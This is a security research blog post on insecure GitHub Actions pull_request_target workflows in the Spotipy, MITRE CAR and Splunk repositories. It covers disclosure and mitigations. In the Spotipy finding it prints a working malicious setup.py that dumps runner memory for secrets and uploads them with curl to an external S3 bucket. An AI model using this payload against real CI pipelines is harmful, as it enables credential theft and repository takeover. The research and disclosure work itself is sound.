Dangerous by default: Insecure GitHub Actions found in MITRE, Splunk, and other open source repositories

Get Demo
By Stefano Chierici - JUNE 17, 2025

SHARE:

Facebook logo LinkedIn logo X (formerly Twitter) logo

Since its founding, the Sysdig Threat Research Team (TRT) has been committed to making the world a safer, more informed place. Upholding this commitment often means proactively hunting for real-world issues with the goal of identifying, fixing, and sharing security concerns with the community. 

While conducting continuous integration and continuous delivery (CI/CD) security research on popular repositories and their GitHub Actions, the Sysdig TRT gained access to (and reported) dozens of open source projects by exploiting insecure workflows. Though these techniques, such as Pwn Requests, have been publicly documented for years, many open source projects still suffer from critical CI/CD security gaps that open up the potential for serious incidents. 

In this article, we’ll begin to explore a few of the GitHub repositories that the Sysdig TRT was able to compromise and help secure, including projects maintained by organizations like MITRE, Splunk, and others built by the community.

We also provide recommendations for best practices when using pull_request_target and suggestions for using pull_request. Finally, we will explain how you can monitor and detect threats to your CI/CD workflows using open source Falco Actions. 

What is GitHub Actions?

GitHub Actions is one of the most widely used platforms for automating build, test, and deployment CI/CD pipelines in open source projects, offering speed and flexibility at no cost. However, alongside its many benefits come serious security risks. 

We’ve recently seen many modern supply chain attacks begin by abusing insecure GitHub Actions workflows. These workflows often contain secrets, such as API keys or credentials, which can be used to escalate privileges or move laterally within the repository, or even across the organization if exfiltrated.

Despite the availability of tools, techniques, and public research detailing how to identify and exploit these vulnerabilities, the overall maturity level of many open source projects remains alarmingly low. The Sysdig TRT discovered several examples that reveal just how widespread and dangerous these issues are.

Pull_request_target abuse

We began assessing real-world projects and understanding the landscape by using GitHub search to scrape and analyze various repositories. We wanted to start with something well-known and relatively straightforward, so pull_request_target was a clear choice.

Pull_request_target is a very famous trigger event in GitHub Actions that runs a workflow when an activity occurs on a pull request targeting the repository. Unlike the pull_request event, which runs in the context of the merge commit, pull_request_target runs in the context of the base branch, typically the default branch (e.g., main or master). Another distinction is that pull_request_target has access to secrets and write permissions for the GITHUB_TOKEN. The table below illustrates the differences more clearly:

Insecure GitHub Actions Found in MITRE, Splunk

So why has pull_request_target become infamous? Maintainers often use pull_request_target to test the changes in the pull request, which usually involve untrusted code from public contributors’ forks. However, by checking out the pull request’s code, the maintainer risks the workflow executing arbitrary, potentially malicious code.

To make things worse, let’s not forget about GITHUB_TOKEN permissions and secrets. As shown in the table above, workflows triggered by pull_request_target have access to all repository secrets, and the workflow’s GITHUB_TOKEN is granted read and write permissions by default.

Combined, this means that if a workflow using pull_request_target checks out code from a fork, it exposes all secrets and a high-privilege GITHUB_TOKEN, creating a serious security risk.

As we analyzed the results, we were surprised by the number of vulnerable pull_request_target workflows we discovered. You might assume these were limited to obscure or inactive repositories, but that wasn’t the case. We found several high-profile projects with tens of thousands of stars still using insecure configurations. 

Finding 1: spotipy-dev/spotipy (CVE-2025-47928)

The repository spotipy-dev/spotipy caught our attention due to its popularity, with 5.2K stars and almost 1,000 forks. Spotipy is an open source Python library for the Spotify Web API, allowing users to create their own lightweight music applications. Examining the workflows, we identified one that utilizes pull_request_target.

pull_request_target:

    types: [opened, synchronize, reopened]

...

...

      - uses: actions/checkout@v4

        with:

          ref: ${{ github.event.pull_request.head.ref }}

          repository: ${{ github.event.pull_request.head.repo.full_name }}

...

...

      - name: Install dependencies

        run: |

          python -m pip install --upgrade pip

          pip install .

....Code language: Perl (perl)

A pull_request_target workflow becomes vulnerable and exploitable when:

  • It explicitly checks out untrusted code from head.ref and executes it
  • There is a workflow step that executes one or more files in the repository that have been modified

In this case, pip install gives us an easy way to achieve execution within the workflow. By updating setup.py with a malicious Python package, the injected code will be executed as soon as the package is installed via pip.

from setuptools import setup

from setuptools.command.install import install

import os

import sys

import re

import subprocess

class CustomInstallCommand(install):

    def run(self):

        bash_command = '''curl -sSf https://raw.githubusercontent.com/AdnaneKhan/Cacheract/b0d8565fa1ac52c28899c0cfc880d59943bc04ea/assets/memdump.py | sudo python3 | tr -d '\\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' >> /tmp/secrets'''

        subprocess.run(["bash", "-c", bash_command])

        another_command = "curl -X PUT --upload-file /tmp/secrets https://XXXXXXXXX.s3.us-east-1.amazonaws.com/secrets.txt"

        subprocess.run(["bash", "-c", another_command])

        bash_command_1 = "sleep 6000"

        subprocess.run(["bash", "-c", bash_command_1])

        install.run(self)

setup(

    name='example_pypi',

    version='0.5.2',

    author='Your Name',

    author_email='[email protected]',

    description='Test lab package with custom install logic',

    packages=['example_pypi'],

    python_requires='>=3.6',

    classifiers=[

        'Programming Language :: Python :: 3',

    ],

    cmdclass={

        'install': CustomInstallCommand,

    },

)Code language: Perl (perl)

The snippet code executes a well-known script called memdump.py to extract secrets from memory and exfiltrate the secrets to an external bucket. 

memdump.py

The sleep command keeps the workflow running, so the GITHUB_TOKEN will stay active. In this case, we could exfiltrate the GITHUB_TOKEN and other secrets. Looking at the token permissions, we can see we obtained default high privileges:

GITHUB_TOKEN Permissions

  Actions: write

  Attestations: write

  Checks: write

  Contents: write

  Deployments: write

  Discussions: write

  Issues: write

  Metadata: read

  Models: read

  Packages: write

  Pages: write

  PullRequests: write

  RepositoryProjects: write

  SecurityEvents: write

  Statuses: writeCode language: Perl (perl)

Obtaining default high privileges means a user is given complete control over the main repository content. After reporting the vulnerability to the Spotipy team via GHSA-h25v-8c87-rvm8, they acknowledged the issue and promptly fixed it. The vulnerability was issued CVE ID 2025-47928 and was labeled as critical, since we were able to completely take over the repository.  

Finding 2: mitre-attack/car

After discovering the issue in the spotipy-dev repository, we came across another interesting repository, so surprising that it was hard to believe at first: mitre-attack/car. The MITRE CAR (Cyber Analytics Repository) is a collection of analytics, including detection rules and logic, designed to help blue teams identify adversary behaviors mapped to the MITRE ATT&CK framework. In this repository, we found another noteworthy workflow that closely resembles Spotipy’s.

on:

  pull_request_target:

...

      - name: Pull down repo

        uses: actions/checkout@v3

        with:

          repository: ${{ github.event.pull_request.head.repo.full_name }}

          ref: ${{ github.head_ref }}

...

...

      - name: Install script dependencies

        run: pip install -r ./scripts/requirements.txt

...Code language: Perl (perl)

Surprisingly, we used almost the same exploitation technique as before. In this case, the pip install command relies on the standard requirements.txt file, as the workflow checks out the head branch; therefore, the attacker fully controls this file. Once again, we successfully exfiltrated the default high-privileged GITHUB_TOKEN and other secrets, ultimately gaining elevated privileges within the repository.

After reporting the vulnerability to MITRE, it was acknowledged and quickly fixed by the MITRE team.

Finding 3: splunk/security_content

While we were still surprised by MITRE, we found another repository with a name well-known in the security community — a Splunk repository splunk/security_content with a questionable workflow. Similar to previous examples, we were able to use pull_request_target to modify the workflow and abuse Python.

on:

  pull_request_target:

    types: [opened, reopened, synchronize]

jobs:

  appinspect:

    runs-on: ubuntu-latest

    steps:

      - name: Check out the repository code

        uses: actions/checkout@v4

        with:

            ref: refs/pull/${{ github.event.pull_request.number }}/merge

 ...

      - name: Install Python Dependencies and ContentCTL and Atomic Red Team

        run: |

          echo "- Contentctl version - $(cat requirements.txt)"

          pip install -r requirements.txt

 ...Code language: Perl (perl)

In this case, the GITHUB_TOKEN extracted was well-scoped with just read content access. However, the workflow uses two secrets which have been exfiltrated:

  • APPINSPECTUSERNAME 
  • APPINSPECTPASSWORD 

NOTE: We disclosed the security issue to Splunk, but did not hear back from them. The workflow has been patched since notifying them, but we don’t know the sensitivity of the secrets extracted.

Recommendations

During our hunt, we accessed dozens of open source repositories and exfiltrated high-privileged GITHUB_TOKEN and other secrets, all of which were done with very basic and conceptually identical exploitations without particular workflow limitations set by the repository owners. Surprisingly, these CI/CD best practices haven’t been as widely adopted as they should, leaving questions about the security hardening of many open source projects. 

Of course, pull_request_target was introduced for a reason: it allows workflows to handle and process pull requests with more control. However, it must be used with extreme caution as the risk of misconfiguration is high. 

This brings us to our first and most important recommendation: Don’t use it unless you fully understand how to secure it properly. If you do need to use this trigger, ensure the workflow is thoroughly hardened to prevent potential security vulnerabilities, such as those identified in this blog.

Setting “require approval for all workflow runs from public fork” won’t help with the pull_request_target trigger! As Github points out: “Workflows triggered by pull_request_target events are run in the context of the base branch. Since the base branch is considered trusted, workflows triggered by these events will always run, regardless of approval settings.” 

Workflow splitting

Splitting workflows into unprivileged and privileged components is one of the GitHub recommendations that can be a highly effective security strategy for handling initial pull request processing. The pull_request event can handle the pull requests without the need for access to sensitive secrets or write permissions. On the other hand, privileged workflows, activated by workflow_run events, are invoked only after the unprivileged workflow has completed its checks. 

This separation ensures that potentially malicious code from forked pull requests never executes within a privileged context. The unprivileged workflow will generally need to communicate and pass information to those that are privileged. This is a crucial security boundary, and as we will see in the next section, any data coming from the unprivileged workflow should be considered untrusted and potentially dangerous.

Restrict GITHUB_TOKEN permissions 

As we saw in the examples before, setting the minimal permissions to GIHTUB_TOKEN reduces what an attacker could do with it. 

Here is an example of how to set up permissions in the workflow:

permissions:

  contents: readCode language: Perl (perl)

In this case, we are setting just read permissions to the contents, so attackers won’t be able to tamper or modify the repo content with the GITHUB_TOKEN used in the workflow.

Use pull_request_target with extreme caution

If you still choose to use pull_request_target after reading this article, ensure you fully understand the associated risks and implement strong safety checks. One mitigation to consider is configuring the workflow to run only when a specific label is assigned to the pull request, effectively requiring manual vetting by maintainers with write access to the repository. Since external contributors can’t assign labels, this ensures pull requests trigger the workflow after a manual review.

However, this method is not foolproof. It is vulnerable to a race condition, where an attacker could push new commits to the pull request after the label has been added but before the workflow starts. For this reason, label-based gating should be treated as a temporary workaround, rather than a permanent solution. Implementing one of the stronger mitigations mentioned earlier is highly recommended.

Use Falco Actions for runtime threat detection

As with the case of tj-actions/changed-files, Falco Actions, an open source project that monitors your CI/CD workflows for potential threats in real time, can be easily plugged into your workflows. Powered by Falco, it can detect suspicious activities such as unauthorized network connections or file access.

Using the exploitation scenario below, Falco Actions is capable of detecting the malicious behavior carried out in each of the three findings above:

  • Accessing /proc/{pid}/mem and scanning each readable memory region for credentials.
  • Connection to external domains to exfiltrate the harvested data.

Because Falco Actions has full context of the workflow, it can accurately identify the workflow steps where the malicious activity occurred, making it easier to troubleshoot and pinpoint the exact execution point.

Conclusion

Modern supply chain attacks against open source projects begin by abusing insecure GitHub Actions workflows. These workflows often contain secrets that attackers can exfiltrate, resulting in privilege escalation within the repository. Pull_request_target is by far the most known to be prone to vulnerability due to its nature of dealing with public forks. Workflows that use that particular trigger should be treated with special care, as should the associated security risks. 

During our research, we found that pull_request_target was far from the only insecure GitHub Actions workflow. The Sysdig TRT is currently working with the organizations and developers to correct those issues, and will continue to report its findings and share details as vulnerabilities are remediated.

Disclosure timeline

May 14, 2025 — The Sysdig TRT reported the security issue to MITRE via email

May 14, 2025 — The Sysdig TRT reported the security issue to Spotipy via GitHub Security Advisory (GHSA)

May 15, 2025 — MITRE released a patch to fix the security issue reported

May 15, 2025 — Spotipy acknowledged the reported issue 

May 16, 2025 — The Sysdig TRT reported the security issue to Splunk via email

May 16, 2025 — Spotipy disclosed via GitHub Security Advisory (GHSA) — CVE-2025-47928

May 21, 2025 — Splunk released a patch to fix the security issue reported, but we never received an acknowledgment about the vulnerability

Subscribe and get the latest updates